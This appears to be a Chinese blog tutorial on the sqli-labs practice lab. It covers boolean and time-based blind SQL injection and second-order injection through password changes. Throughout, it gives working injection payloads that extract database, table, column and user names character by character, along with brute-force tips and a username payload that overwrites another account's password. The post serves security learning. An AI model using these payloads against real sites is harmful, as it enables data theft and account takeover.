深入浅出带你玩转sqlilabs(五)-布尔/延时盲注与二次注入

SQL测试-基于布尔,延时盲注

布尔,延时注入常用到的判断语句

regexp   regexp '^xiaodi[a-z]' 匹配xiaodi及xiaodi...等

if       if(条件,5,0) 条件成立 返回5 反之 返回0

sleep     sleep(5) SQL语句延时执行5秒

mid       mid(a,b,c)从位置 b 开始, 截取 a 字符串的 c 位

substr    substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度

left      left(database(),1),database()显示数据库名称, left(a,b)从左侧截取 a 的前 b 位

length    length(database())=8,判断数据库database()名的长度

ord=ascii ascii(x)=101,判断x的ascii码是否等于101,即email中的字母e

 例如判断之后用sleep执行延时功能:

 

 可以看到成功延时5s

 

 

 

基于布尔盲注

0x01 获取数据库名操作Payload:

获取数据库名第一位值

?id=1' and left(database(),1)='s' %23

?id=1' and left(database(),1)>'a' %23

 获取数据库名第二位值

?id=1' and left(database(),2) > 'sa' %23

?id=1' and left(database(),2) = 'se' %23

获取数据库名长度值

?id=1' and length(database())=8 %23

然后这个地方可以用字典跑



 

 

 

这个913与众不同,就他正确了

 

0x02 获取表名操作Payload:

获取第一个表名第一位的值

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 %23

获取第一个表名第二位的值

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101 %23

获取第二个表名第一位的值

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101 %23

第四个表名第五位的值

改为limit 3,1),5,1 还要改一下ascii码

 

http://localhost/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),5,1))=115 %23

 

 

 

来一次爆破表名

爆破模块介绍:https://blog.csdn.net/qq_39101049/article/details/90234669

ascii码范围:0-127

爆破模块选择:Cluster bomb(集束炸弹) 同pitchfork,起码两个参数,但此操作会计算两个的payload 的笛卡儿积。 比如pl1:1,2,3 pl2:4,5,6 那么第一次爆破为 1,4 第二次为1,5 以此类推 1,6 2,4 2,5.。。。。。。

 

 

结果,对号入座就行

 

0x03 获取列名操作Payload:

获取列名regexp 查询users表第一个列名是否有us...列名

?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+

 

0x04 获取数据操作Payload:

获取数据 security.users表中username列名的第一个第一位

?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

 

 

 

 

 

基于延时盲注

0x01 获取数据库名操作Payload:

获取数据库名第一个第一位

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

 

0x02 获取表名操作Payload:

获取列名第一个第一位

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100,sleep(5),0)--+

 

后续参考:https://www.cnblogs.com/xishaonian/p/6113965.html



 

 

其他:SQL二次注入测试

 

案例测试:less-24 及实际举例

数据库更改密码的源码:

 

 

到修改密码页面,修改密码:

当没有检验当前密码是否输入正确时,可以修改任意已知账户名的密码

 

 

然后我们看回其他账户:

 

相当于执行命令

UPDATE users SET PASSWORD='hacked' where username='superman' #' and password='a'

 

应用范围:我们注册一个用户后,然后点击用户的图像类似进入了用户中心,

对应的URL地址:帐号 aaaaa

www.aaaaa.com/member.php?user=aaaaa

反过来想:如果我们在注册的时候将用户名改为:aaaaaa' union select 1,2,3--

总之:将注入语句让web写入到数据库中,web在调用数据库中的数据成为条件查询时,就触发了sql注入

 

原理:

posted @ 2021-02-23 10:08  impulse-  阅读(276)  评论(0编辑  收藏  举报